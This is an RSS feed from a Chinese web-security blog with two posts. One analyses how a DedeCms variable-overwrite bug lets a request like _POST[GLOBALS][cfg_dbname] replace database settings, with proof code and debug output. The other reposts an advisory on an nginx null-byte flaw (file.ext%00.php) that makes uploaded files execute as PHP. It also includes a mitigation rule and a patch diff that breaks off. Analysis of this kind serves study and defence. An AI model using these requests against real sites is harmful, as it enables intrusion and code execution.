<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>0x50sec.org &#187; 漏洞代码</title>
	<atom:link href="http://www.0x50sec.org/category/0day-exp/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.0x50sec.org</link>
	<description>Focus on web security!</description>
	<lastBuildDate>Fri, 13 Jan 2012 09:23:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>DedeCms 漏洞为什么能覆盖数据库配置变量</title>
		<link>http://www.0x50sec.org/dedecms-%e4%b8%ba%e4%bb%80%e4%b9%88%e8%83%bd%e8%a6%86%e7%9b%96%e6%95%b0%e6%8d%ae%e5%ba%93%e9%85%8d%e7%bd%ae%e5%8f%98%e9%87%8f/</link>
		<comments>http://www.0x50sec.org/dedecms-%e4%b8%ba%e4%bb%80%e4%b9%88%e8%83%bd%e8%a6%86%e7%9b%96%e6%95%b0%e6%8d%ae%e5%ba%93%e9%85%8d%e7%bd%ae%e5%8f%98%e9%87%8f/#comments</comments>
		<pubDate>Wed, 31 Aug 2011 04:17:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[GLOBALS]]></category>
		<category><![CDATA[变量覆盖]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1164</guid>
		<description><![CDATA[这件事说来比较惭愧，之前发现Dedecms有这么一个严重的问题，也传言dede不用登击进后台. 在网上也考到mr_xhming同学的分析: http://hi.baidu.com/mr_xhming/blog/item/5e6d6009d44b1f39e92488a5.html 底下还有大牛的评论 2009-06-14 00:01 &#124; 回复 在文件common.inc.php先覆盖 $GLOBALS['cfg_dbhost']; $GLOBALS['cfg_dbuser']; $GLOBALS['cfg_dbpwd']; $GLOBALS['cfg_dbname']; $GLOBALS['cfg_dbprefix']; 然后才是初始化数据库类 //引入数据库类 require_once(DEDEINC.&#8217;/dedesql.class.php&#8217;); //全局常用函数 require_once(DEDEINC.&#8217;/common.func.php&#8217;); ?&#62; 当时我也纳闷，DedeCms变量覆盖漏洞为什么能覆盖数据库配置变量？因为覆盖(或者说创建)在前，赋值在后啊。 //include/common.inc.php function _RunMagicQuotes(&#38;$svar) { if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k =&#62; $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { $svar = addslashes($svar); } } return $svar; } if (!defined('DEDEREQUEST')) { //检查和注册外部提交的变量 foreach($_REQUEST [...]]]></description>
			<content:encoded><![CDATA[<p>这件事说来比较惭愧，之前发现Dedecms有这么一个严重的问题，也传言dede不用登击进后台.</p>
<p>在网上也考到mr_xhming同学的分析:</p>
<p>http://hi.baidu.com/mr_xhming/blog/item/5e6d6009d44b1f39e92488a5.html</p>
<p>底下还有大牛的评论</p>
<p><span style="color: #ff0000;">2009-06-14 00:01 | 回复</span></p>
<div>
<p><span style="color: #ff0000;">在文件common.inc.php先覆盖 </span></p>
<p><span style="color: #ff0000;">$GLOBALS['cfg_dbhost'];</span><br />
<span style="color: #ff0000;">$GLOBALS['cfg_dbuser'];</span><br />
<span style="color: #ff0000;">$GLOBALS['cfg_dbpwd'];</span><br />
<span style="color: #ff0000;">$GLOBALS['cfg_dbname'];</span><br />
<span style="color: #ff0000;">$GLOBALS['cfg_dbprefix']; </span></p>
<p><span style="color: #ff0000;">然后才是初始化数据库类 </span></p>
<p><span style="color: #ff0000;">//引入数据库类</span><br />
<span style="color: #ff0000;">require_once(DEDEINC.&#8217;/dedesql.class.php&#8217;); </span><br />
<span style="color: #ff0000;">//全局常用函数</span><br />
<span style="color: #ff0000;">require_once(DEDEINC.&#8217;/common.func.php&#8217;); </span><br />
<span style="color: #ff0000;">?&gt;</span></p>
</div>
<p>当时我也纳闷，DedeCms变量覆盖漏洞为什么能覆盖数据库配置变量？因为覆盖(或者说创建)在前，赋值在后啊。</p>
<p>//include/common.inc.php</p>
<p><span style="color: #ff0000;">function _RunMagicQuotes(&amp;$svar)</span><br />
<span style="color: #ff0000;">{</span><br />
<span style="color: #ff0000;"> if(!get_magic_quotes_gpc())</span><br />
<span style="color: #ff0000;"> {</span><br />
<span style="color: #ff0000;"> if( is_array($svar) )</span><br />
<span style="color: #ff0000;"> {</span><br />
<span style="color: #ff0000;"> foreach($svar as $_k =&gt; $_v) $svar[$_k] = _RunMagicQuotes($_v);</span><br />
<span style="color: #ff0000;"> }</span><br />
<span style="color: #ff0000;"> else</span><br />
<span style="color: #ff0000;"> {</span><br />
<span style="color: #ff0000;"> $svar = addslashes($svar);</span><br />
<span style="color: #ff0000;"> }</span><br />
<span style="color: #ff0000;"> }</span><br />
<span style="color: #ff0000;"> return $svar;</span><br />
<span style="color: #ff0000;">}</span></p>
<p><code>if (!defined('DEDEREQUEST'))<br />
{<br />
//检查和注册外部提交的变量<br />
foreach($_REQUEST as $_k=&gt;$_v)<br />
{<br />
if( strlen($_k)&gt;0 &amp;&amp; preg_match('/^(cfg_|GLOBALS)/',$_k) )<br />
{<br />
exit('Request var not allow!');<br />
}<br />
}<br />
foreach(Array('_GET','_POST','_COOKIE') as $_request)<br />
{<br />
<span style="color: #ff0000;"> foreach($$_request as $_k =&gt; $_v) ${$_k} = _RunMagicQuotes($_v);  <strong>//这里覆盖变量</strong></span><br />
<span style="color: #ff0000;"> }</span><br />
}</code></p>
<p>//系统相关变量检测<br />
if(!isset($needFilter))<br />
{<br />
$needFilter = false;<br />
}<br />
$registerGlobals = @ini_get(&#8220;register_globals&#8221;);<br />
$isUrlOpen = @ini_get(&#8220;allow_url_fopen&#8221;);<br />
$isSafeMode = @ini_get(&#8220;safe_mode&#8221;);<br />
if( preg_match(&#8216;/windows/i&#8217;, @getenv(&#8216;OS&#8217;)) )<br />
{<br />
$isSafeMode = false;<br />
}</p>
<p>//Session保存路径<br />
$sessSavePath = DEDEDATA.&#8221;/sessions/&#8221;;<br />
if(is_writeable($sessSavePath) &amp;&amp; is_readable($sessSavePath))<br />
{<br />
session_save_path($sessSavePath);<br />
}</p>
<p>//系统配置参数<br />
require_once(DEDEDATA.&#8221;/config.cache.inc.php&#8221;);</p>
<p>//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数<br />
if($_FILES)<br />
{<br />
require_once(DEDEINC.&#8217;/uploadsafe.inc.php&#8217;);<br />
}</p>
<p>//数据库配置文件<br />
<span style="color: #ff0000;">require_once(DEDEDATA.&#8217;/common.inc.php&#8217;);        //这里引入数据库配置文件</span><br />
&#8230;</p>
<p>//data/common.inc.php 里面的内容</p>
<p>&lt;?php<br />
//数据库连接信息<br />
$cfg_dbhost = &#8216;localhost&#8217;;<br />
$cfg_dbname = &#8216;de2&#8242;;<br />
$cfg_dbuser = &#8216;root&#8217;;<br />
$cfg_dbpwd = &#8221;;<br />
$cfg_dbprefix = &#8216;dede_&#8217;;<br />
$cfg_db_language = &#8216;utf8&#8242;;</p>
<p>?&gt;</p>
<p>&nbsp;</p>
<p>看起来的样子是就算覆盖了$cfg_dbname这些变量但是后面的文章又给$cfg_dbname赋了值。</p>
<p>然后我以为只有那些系统变量在覆盖前没初始化的才可以覆盖利用，但是我利用这个漏洞是通过别的途径，运气好点也能搞到shell。当时根本没看懂fly大牛的评论(这个漏洞人家09年的时候就已经公布出来了？但是08年是利用$_FILES数组覆盖的。）当时网上爆的Dedecms的变量覆盖是$_FILES数组,其实除了这个还有更严重的，很多人都发现了但是没人爆出了，因为爆出来就没得玩了。但是Dedecms那帮家伙只知道修修补补，补了那个变量覆盖的时候就在旁边的更明显的都没发现。现在他们补了这个漏洞，还是有些别的严重的问题他们还是没补完。</p>
<p>扯的有点多，关键的问题还没解决。变量覆盖是存在的，但是怎么利用还不知道。</p>
<p>问题的根本就是: <strong><span style="color: #ff0000;">$cfg_dbname和$GLOBALS['cfg_dbname']到底是不是一回事？</span></strong><br />
我原来想当然的以为是一回事，其实根本不是那么回事。</p>
<p>我们可以做个实验：</p>
<p>把include/common.inc.php添加几行代码看一下：</p>
<p><code>echo '---------------------------------------------------------&lt;/br&gt;';<br />
echo '$GLOBALS[cfg_dbname]:';<br />
var_dump($GLOBALS[cfg_dbname]);<br />
echo '---------------------------------------------------------&lt;/br&gt;';<br />
echo '$cfg_dbname';<br />
var_dump($cfg_dbname);<br />
//数据库配置文件<br />
echo '++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;/br&gt;';<br />
<span style="color: #ff0000;"><strong>require_once(DEDEDATA.'/common.inc.php');</strong></span><br />
echo '---------------------------------------------------------&lt;/br&gt;';<br />
echo '$GLOBALS[cfg_dbname]:';<br />
var_dump($GLOBALS[cfg_dbname]);<br />
echo '---------------------------------------------------------&lt;/br&gt;';<br />
echo '$cfg_dbname';<br />
var_dump($cfg_dbname);<br />
exit;</code></p>
<p>&nbsp;</p>
<p>提交 http://127.0.0.1/de2/index.php?_POST[cfg_dbname]=1234</p>
<p>结果如下：</p>
<pre>---------------------------------------------------------
$GLOBALS[cfg_dbname]:
<small>string</small> <span style="color: #cc0000;">'1234'</span> <em>(length=4)</em>
---------------------------------------------------------

$cfg_dbname
<small>string</small> <span style="color: #cc0000;">'1234'</span> <em>(length=4)</em>
++++++++++++++++++++++++++++++++++++++++++++++++++++++++

---------------------------------------------------------
$GLOBALS[cfg_dbname]:
<small>string</small> <span style="color: #cc0000;">'de2'</span> <em>(length=3)</em>
---------------------------------------------------------

$cfg_dbname
<small>string</small> <span style="color: #cc0000;">'de2'</span> <em>(length=3)</em>
</pre>
<p>提交:http://127.0.0.1/de2/index.php?_POST<strong><span style="color: #ff0000;">[GLOBALS]</span></strong>[cfg_dbname]=1234</p>
<pre>
---------------------------------------------------------
$GLOBALS[cfg_dbname]:

<small>string</small> <span style="color: #cc0000;">'1234'</span> <em>(length=4)</em>
---------------------------------------------------------

$cfg_dbname
<span style="color: #3465a4;">null</span>
++++++++++++++++++++++++++++++++++++++++++++++++++++++++

---------------------------------------------------------
$GLOBALS[cfg_dbname]:
<small>string</small> <span style="color: #cc0000;">'1234'</span> <em>(length=4)</em>
---------------------------------------------------------

$cfg_dbname
<small>string</small> <span style="color: #cc0000;">'de2'</span> (length=3)
</pre>
<p>现在发现得到了我们想要的结果了，因为其后引入的数据库类</p>
<pre>
if ($GLOBALS['cfg_mysql_type'] == 'mysqli' &amp;&amp; function_exists("mysqli_init"))

{
 require_once(DEDEINC.'/dedesqli.class.php');

} else {

 require_once(DEDEINC.'/dedesql.class.php');

}
</pre>
<p>里面的初始化函数是这样的，用的$GLOBALS['cfg_dbname']变量完成的赋值。</p>
<pre>
function Init($pconnect=FALSE)
{
$this-&gt;linkID = 0;
$this-&gt;queryString = '';
$this-&gt;parameters = Array();
$this-&gt;dbHost   =  $GLOBALS['cfg_dbhost'];
$this-&gt;dbUser   =  $GLOBALS['cfg_dbuser'];
$this-&gt;dbPwd    =  $GLOBALS['cfg_dbpwd'];
$this-&gt;dbName   =  $GLOBALS['cfg_dbname'];
$this-&gt;dbPrefix =  $GLOBALS['cfg_dbprefix'];
$this-&gt;result["me"] = 0;
$this-&gt;Open($pconnect);
}
</pre>
<p><strong><span style="color: #ff0000;"><br />
所以是可以覆盖的，因为$GLOBALS数组被覆盖后变成了一个普通数组(不再是PHP的超全局变量),$GLOBALS['cfg_dbname'] 并不再等同于$cfg_dbname .我原来也是认为一直等同的。</p>
<p></span></strong></p>
<p><strong><span style="color: #ff0000;">而Dedecms的数据库配置文件用的是$GLOBALS['cfg_dbname']变量。</span></strong></p>
<p>经foreach循环覆盖$GLOBALS之后导致$GLOBALS不再是超全局变量了，他成了普通的数组了，所以$GLOBALS['cfg_dbname'] 不再等同于$cfg_dbname 这是问题的关键.<br />
证明代码如下</p>
<pre>
< ?php
$_POST['GLOBALS']['cfg_dbname'] = '123';
var_dump($GLOBALS);
foreach($_POST as $k => $v)
{
$$k=$v;
}
echo '~~~~~~~~~~~~~~~~~~~~~~';
echo $cfg_dbname.':'.$GLOBALS['cfg_dbname'];
echo '+++++++++++++++++++++++';
var_dump($GLOBALS);
$cfg_dbname = '456';
echo '-----------------------';
echo $cfg_dbname.':'.$GLOBALS['cfg_dbname'];
?>
</pre>
<p>结果如下</p>
<pre>
array
  'GLOBALS' =>
    &#038;array
  'HTTP_HOST' => string '127.1' (length=5)
  'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20' (length=90)
  'HTTP_ACCEPT' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' (length=63)
  'HTTP_ACCEPT_LANGUAGE' => string 'zh-cn,zh;q=0.5' (length=14)
  'HTTP_ACCEPT_ENCODING' => string 'gzip,deflate' (length=12)
  'HTTP_ACCEPT_CHARSET' => string 'GB2312,utf-8;q=0.7,*;q=0.7' (length=26)
  'HTTP_KEEP_ALIVE' => string '115' (length=3)
  'HTTP_CONNECTION' => string 'keep-alive' (length=10)
  'PATH' => string 'C:\Program Files\Common Files\Microsoft Shared\Windows Live;C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\ThinkPad\Bluetooth Software\;C:\Program Files\ThinkPad\Bluetooth Software\syswow64;C:\Program Files\Intel\WiFi\bin\;C:\Program Files\Common Files\Intel\WirelessCommon\;C:\Program Files (x86)\Common Files\Lenovo;C:\Program Files (x86)\Common Files\Ulead Systems\MPEG;C:\'... (length=975)
  'SystemRoot' => string 'C:\Windows' (length=10)
  'COMSPEC' => string 'C:\Windows\system32\cmd.exe' (length=27)
  'PATHEXT' => string '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC' (length=53)
  'WINDIR' => string 'C:\Windows' (length=10)
  'SERVER_SIGNATURE' => string '' (length=0)
  'SERVER_SOFTWARE' => string 'Apache/2.2.17 (Win32) PHP/5.3.5' (length=31)
  'SERVER_NAME' => string '127.1' (length=5)
  'SERVER_ADDR' => string '127.0.0.1' (length=9)
  'SERVER_PORT' => string '80' (length=2)
  'REMOTE_HOST' => string 'web9.vghtpe.gov.tw' (length=18)
  'REMOTE_ADDR' => string '127.0.0.1' (length=9)
  'DOCUMENT_ROOT' => string 'C:/wamp/www/' (length=12)
  'SERVER_ADMIN' => string 'admin@localhost' (length=15)
  'SCRIPT_FILENAME' => string 'C:/wamp/www/5.php' (length=17)
  'REMOTE_PORT' => string '53482' (length=5)
  'GATEWAY_INTERFACE' => string 'CGI/1.1' (length=7)
  'SERVER_PROTOCOL' => string 'HTTP/1.1' (length=8)
  'REQUEST_METHOD' => string 'GET' (length=3)
  'QUERY_STRING' => string '' (length=0)
  'REQUEST_URI' => string '/5.php' (length=6)
  'SCRIPT_NAME' => string '/5.php' (length=6)
  'PHP_SELF' => string '/5.php' (length=6)
  'REQUEST_TIME' => int 1314794715
  '_POST' =>
    array
      'GLOBALS' =>
        array
          'cfg_dbname' => string '123' (length=3)
  '_GET' =>
    array
      empty
  '_COOKIE' =>
    array
      empty
  '_SERVER' =>
    array
      'HTTP_HOST' => string '127.1' (length=5)
      'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20' (length=90)
      'HTTP_ACCEPT' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' (length=63)
      'HTTP_ACCEPT_LANGUAGE' => string 'zh-cn,zh;q=0.5' (length=14)
      'HTTP_ACCEPT_ENCODING' => string 'gzip,deflate' (length=12)
      'HTTP_ACCEPT_CHARSET' => string 'GB2312,utf-8;q=0.7,*;q=0.7' (length=26)
      'HTTP_KEEP_ALIVE' => string '115' (length=3)
      'HTTP_CONNECTION' => string 'keep-alive' (length=10)
      'PATH' => string 'C:\Program Files\Common Files\Microsoft Shared\Windows Live;C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\ThinkPad\Bluetooth Software\;C:\Program Files\ThinkPad\Bluetooth Software\syswow64;C:\Program Files\Intel\WiFi\bin\;C:\Program Files\Common Files\Intel\WirelessCommon\;C:\Program Files (x86)\Common Files\Lenovo;C:\Program Files (x86)\Common Files\Ulead Systems\MPEG;C:\'... (length=975)
      'SystemRoot' => string 'C:\Windows' (length=10)
      'COMSPEC' => string 'C:\Windows\system32\cmd.exe' (length=27)
      'PATHEXT' => string '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC' (length=53)
      'WINDIR' => string 'C:\Windows' (length=10)
      'SERVER_SIGNATURE' => string '' (length=0)
      'SERVER_SOFTWARE' => string 'Apache/2.2.17 (Win32) PHP/5.3.5' (length=31)
      'SERVER_NAME' => string '127.1' (length=5)
      'SERVER_ADDR' => string '127.0.0.1' (length=9)
      'SERVER_PORT' => string '80' (length=2)
      'REMOTE_HOST' => string 'web9.vghtpe.gov.tw' (length=18)
      'REMOTE_ADDR' => string '127.0.0.1' (length=9)
      'DOCUMENT_ROOT' => string 'C:/wamp/www/' (length=12)
      'SERVER_ADMIN' => string 'admin@localhost' (length=15)
      'SCRIPT_FILENAME' => string 'C:/wamp/www/5.php' (length=17)
      'REMOTE_PORT' => string '53482' (length=5)
      'GATEWAY_INTERFACE' => string 'CGI/1.1' (length=7)
      'SERVER_PROTOCOL' => string 'HTTP/1.1' (length=8)
      'REQUEST_METHOD' => string 'GET' (length=3)
      'QUERY_STRING' => string '' (length=0)
      'REQUEST_URI' => string '/5.php' (length=6)
      'SCRIPT_NAME' => string '/5.php' (length=6)
      'PHP_SELF' => string '/5.php' (length=6)
      'REQUEST_TIME' => int 1314794715
  '_ENV' =>
    array
      empty
  '_FILES' =>
    array
      empty
  '_REQUEST' =>
    array
      empty

~~~~~~~~~~~~~~~~~~~~~~
:123
+++++++++++++++++++++++

array
  'cfg_dbname' => string '123' (length=3)

-----------------------
456:123
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/dedecms-%e4%b8%ba%e4%bb%80%e4%b9%88%e8%83%bd%e8%a6%86%e7%9b%96%e6%95%b0%e6%8d%ae%e5%ba%93%e9%85%8d%e7%bd%ae%e5%8f%98%e9%87%8f/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Possible Arbitrary Code Execution with Null Bytes, PHP, and Old Versions of nginx</title>
		<link>http://www.0x50sec.org/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/</link>
		<comments>http://www.0x50sec.org/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/#comments</comments>
		<pubDate>Thu, 25 Aug 2011 13:27:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[Code Execution]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[Null Bytes]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1160</guid>
		<description><![CDATA[from：https://nealpoole.com/blog/2011/07/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/ After publishing my previous blog post on PHP, nginx configuration, and potential arbitrary code execution, I came across a separate null-byte injection vulnerability in older versions of nginx (0.5.*, 0.6.*, 0.7 &#60;= 0.7.65, 0.8 &#60;= 0.8.37). By taking advantage of this vulnerability, an attacker can cause a server that uses PHP-FastCGI to execute any [...]]]></description>
			<content:encoded><![CDATA[<p>from：https://nealpoole.com/blog/2011/07/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/</p>
<p>After publishing my previous blog post on PHP, nginx configuration, and potential arbitrary code execution,  I came across a separate null-byte injection vulnerability in older  versions of nginx (0.5.*, 0.6.*, 0.7 &lt;= 0.7.65, 0.8 &lt;= 0.8.37). By  taking advantage of this vulnerability, an attacker can cause a server  that uses PHP-FastCGI to execute any publicly accessible file on the  server as PHP.</p>
<p>In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named <tt>zero_in_uri</tt> defined in <tt>ngx_http_request.h</tt>).  Individual modules have the ability to opt-out of handling URIs with  null bytes. However, not all of them do; in particular, the FastCGI  module does not.</p>
<p>The attack itself is simple: a malicious user who makes a request to http://example.com/file.ext%00.php causes <tt>file.ext</tt> to be parsed as PHP. If an attacker can control the contents of a file  served up by nginx (ie: using an avatar upload form) the result is  arbitrary code execution. This vulnerability <strong><em>can not</em></strong> be mitigated by nginx configuration settings like <tt>try_files</tt> or PHP configuration settings like <tt>cgi.fix_pathinfo</tt>:  the only defense is to upgrade to a newer version of nginx or to  explicitly block potentially malicious requests to directories  containing user-controlled content.<span id="more-1160"></span></p>
<div>
<div id="highlighter_467010">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
<div>6</div>
</td>
<td>
<div>
<div><code># This location block will prevent an attacker from exploiting</code></div>
<div><code># this vulnerability using files in the 'uploads' or 'other_uploads' directory</code></div>
<div><code>location ~ ^/(uploads|other_uploads)/.*.php$</code></div>
<div><code>{</code></div>
<div><code> </code><code>deny all;</code></div>
<div><code>}</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>Although the affected versions of nginx are relatively old (0.7.66  was released June 7th, 2010, 0.8.38 was released May 24th 2010), no  mention of the change appears in the release notes. As a result,  administrators may be running vulnerable servers without realizing their  risk. I discovered a couple places where vulnerable packages were being  distributed:</p>
<ol>
<li>Ubuntu Lucid Lynx (Ubuntu&#8217;s current LTS offering) and Hardy Heron  (via both the hardy and hardy-backports repositories) provided  vulnerable versions of nginx via apt-get. The lucid and hardy packages  have been updated: hardy-backports is awaiting approval. <sup><a href="https://bugs.launchpad.net/ubuntu/+source/nginx/+bug/783508">[1]</a> <a href="https://bugs.launchpad.net/ubuntu/+source/nginx/+bug/803720">[2]</a></sup></li>
<li>Fedora provides a vulnerable version in its EPEL-4 repository. At this time, an updated package has not been released.</li>
</ol>
<p>I sent several emails to igor@sysoev.ru regarding the vulnerability. I  sent the first on June 24th and I sent followups on July 4th, July  20th, and August 2nd. I received the following reply to my August 2nd  email:</p>
<blockquote><p>Thank you for report.</p>
<p>I do not consider this as nginx security issue since every application<br />
should validate its input data, so nginx passed the data to application.<br />
Also this is PHP installation issue where scripts and user uploaded<br />
data are not separated. This issue was discussed several times on mailing<br />
list.</p>
<p>At some point I&#8217;ve decided that zero byte in URI should not appear<br />
in any encoding, operating system, etc., and just makes more problems<br />
than helps. So I have remove zero byte test.</p></blockquote>
<p>For anyone who&#8217;s curious, the changes can be found at r3528 from svn://svn.nginx.org.  At that time, it appears trunk corresponded to nginx 0.8: r3599 merged  r3528 into the nginx 0.7 branch. The corresponding commit message is  &#8220;remove r-&gt;zero_in_uri.&#8221; I&#8217;ve reproduced the output of <tt>svn diff</tt> below:</p>
<div>
<div><code>Index: src/http/ngx_http_request.h</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/ngx_http_request.h (revision 3527)</code></div>
<div><code>+++ src/http/ngx_http_request.h (revision 3528)</code></div>
<div><code>@@ -56,7 +56,7 @@</code></div>
<div><code> </code><code>#define NGX_HTTP_PARSE_INVALID_HEADER      13</code></div>
<div><code>-#define NGX_HTTP_ZERO_IN_URI               1</code></div>
<div><code>+/* unused                                  1 */</code></div>
<div><code> </code><code>#define NGX_HTTP_SUBREQUEST_IN_MEMORY      2</code></div>
<div><code> </code><code>#define NGX_HTTP_SUBREQUEST_WAITED         4</code></div>
<div><code> </code><code>#define NGX_HTTP_LOG_UNSAFE                8</code></div>
<div><code>@@ -435,9 +435,6 @@</code></div>
<div><code> </code><code>/* URI with "+" */</code></div>
<div><code> </code><code>unsigned                          plus_in_uri:1;</code></div>
<div><code>-    /* URI with "\0" or "%00" */</code></div>
<div><code>-    unsigned                          zero_in_uri:1;</code></div>
<div><code>-</code></div>
<div><code> </code><code>unsigned                          invalid_header:1;</code></div>
<div><code> </code><code>unsigned                          valid_location:1;</code></div>
<div><code>Index: src/http/ngx_http_core_module.c</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/ngx_http_core_module.c (revision 3527)</code></div>
<div><code>+++ src/http/ngx_http_core_module.c (revision 3528)</code></div>
<div><code>@@ -1341,7 +1341,7 @@</code></div>
<div><code> </code><code>/* no content handler was found */</code></div>
<div><code>-    if (r-&gt;uri.data[r-&gt;uri.len - 1] == '/' &amp;&amp; !r-&gt;zero_in_uri) {</code></div>
<div><code>+    if (r-&gt;uri.data[r-&gt;uri.len - 1] == '/') {</code></div>
<div><code> </code><code>if (ngx_http_map_uri_to_path(r, &amp;path, &amp;root, 0) != NULL) {</code></div>
<div><code> </code><code>ngx_log_error(NGX_LOG_ERR, r-&gt;connection-&gt;log, 0,</code></div>
<div><code>@@ -2104,7 +2104,6 @@</code></div>
<div><code> </code><code>ngx_log_debug2(NGX_LOG_DEBUG_HTTP, c-&gt;log, 0,</code></div>
<div><code> </code><code>"http subrequest \"%V?%V\"", uri, &amp;sr-&gt;args);</code></div>
<div><code>-    sr-&gt;zero_in_uri = (flags &amp; NGX_HTTP_ZERO_IN_URI) != 0;</code></div>
<div><code> </code><code>sr-&gt;subrequest_in_memory = (flags &amp; NGX_HTTP_SUBREQUEST_IN_MEMORY) != 0;</code></div>
<div><code> </code><code>sr-&gt;waited = (flags &amp; NGX_HTTP_SUBREQUEST_WAITED) != 0;</code></div>
<div><code>Index: src/http/ngx_http_special_response.c</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/ngx_http_special_response.c    (revision 3527)</code></div>
<div><code>+++ src/http/ngx_http_special_response.c    (revision 3528)</code></div>
<div><code>@@ -517,8 +517,6 @@</code></div>
<div><code> </code><code>r-&gt;err_status = overwrite;</code></div>
<div><code>-    r-&gt;zero_in_uri = 0;</code></div>
<div><code>-</code></div>
<div><code> </code><code>if (ngx_http_complex_value(r, &amp;err_page-&gt;value, &amp;uri) != NGX_OK) {</code></div>
<div><code> </code><code>return NGX_ERROR;</code></div>
<div><code> </code><code>}</code></div>
<div><code>Index: src/http/ngx_http_upstream.c</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/ngx_http_upstream.c    (revision 3527)</code></div>
<div><code>+++ src/http/ngx_http_upstream.c    (revision 3528)</code></div>
<div><code>@@ -1815,10 +1815,6 @@</code></div>
<div><code> </code><code>return NGX_DONE;</code></div>
<div><code> </code><code>}</code></div>
<div><code>-        if (flags &amp; NGX_HTTP_ZERO_IN_URI) {</code></div>
<div><code>-            r-&gt;zero_in_uri = 1;</code></div>
<div><code>-        }</code></div>
<div><code>-</code></div>
<div><code> </code><code>if (r-&gt;method != NGX_HTTP_HEAD) {</code></div>
<div><code> </code><code>r-&gt;method = NGX_HTTP_GET;</code></div>
<div><code> </code><code>}</code></div>
<div><code>Index: src/http/ngx_http_parse.c</code></div>
<div><code>===================================================================</code></div>
<div><code>--- src/http/ngx_http_parse.c   (revision 3527)</code></div>
<div><code>+++ src/http/ngx_http_parse.c   (revision 3528)</code></div>
<div><code>@@ -438,8 +438,7 @@</code></div>
<div><code> </code><code>r-&gt;plus_in_uri = 1;</code></div>
<div><code> </code><code>break;</code></div>
<div><code> </code><code>case '\0':</code></div>
<div><code>-                r-&gt;zero_in_uri = 1;</code></div>
<div><code>-                break;</code></div>
<div><code>+                return NGX_HTTP_PARSE_INVALID_REQUEST;</code></div>
<div><code> </code><code>default:</code></div>
<div><code> </code><code>state = sw_check_uri;</code></div>
<div><code> </code><code>break;</code></div>
<div><code>@@ -496,8 +495,7 @@</code></div>
<div><code> </code><code>r-&gt;plus_in_uri = 1;</code></div>
<div><code> </code><code>break;</code></div>
<div><code> </code><code>case '\0':</code></div>
<div><code>-                r-&gt;zero_in_uri = 1;</code></div>
<div><code>-                break;</code></div>
<div><code>+                return NGX_HTTP_PARSE_INVALID_REQUEST;</code></div>
<div><code> </code><code>}</code></div>
<div><code> </code><code>break;</code></div>
<div><code>@@ -526,8 +524,7 @@</code></div>
<div><code> </code><code>r-&gt;complex_uri = 1;</code></div>
<div><code> </code><code>break;</code></div>
<div><code> </code><code>case '\0':</code></div>
<div><code>-                r-&gt;zero_in_uri = 1;</code></div>
<div><code>-                break;</code></div>
<div><code>+                return NGX_HTTP_PARSE_INVALID_REQUEST;</code></div>
<div><code> </code><code>}</code></div>
<div><code> </code><code>break;</code></div>
<div><code>@@ -1202,7 +1199,7 @@</code></div>
<div><code> </code><code>ch = *p++;</code></div>
<div><code> </code><code>} else if (ch == '\0') {</code></div>
<div><code>-                    r-&gt;zero_in_uri = 1;</code></div>
<div><code>+                    return NGX_HTTP_PARSE_INVALID_REQUEST;</code></div>
<div><code> </code><code>}</code></div>
<div><code> </code><code>state = quoted_state;</code></div>
<div><code>@@ -1304,8 +1301,7 @@</code></div>
<div><code> </code><code>}</code></div>
<div><code> </code><code>if (ch == '\0') {</code></div>
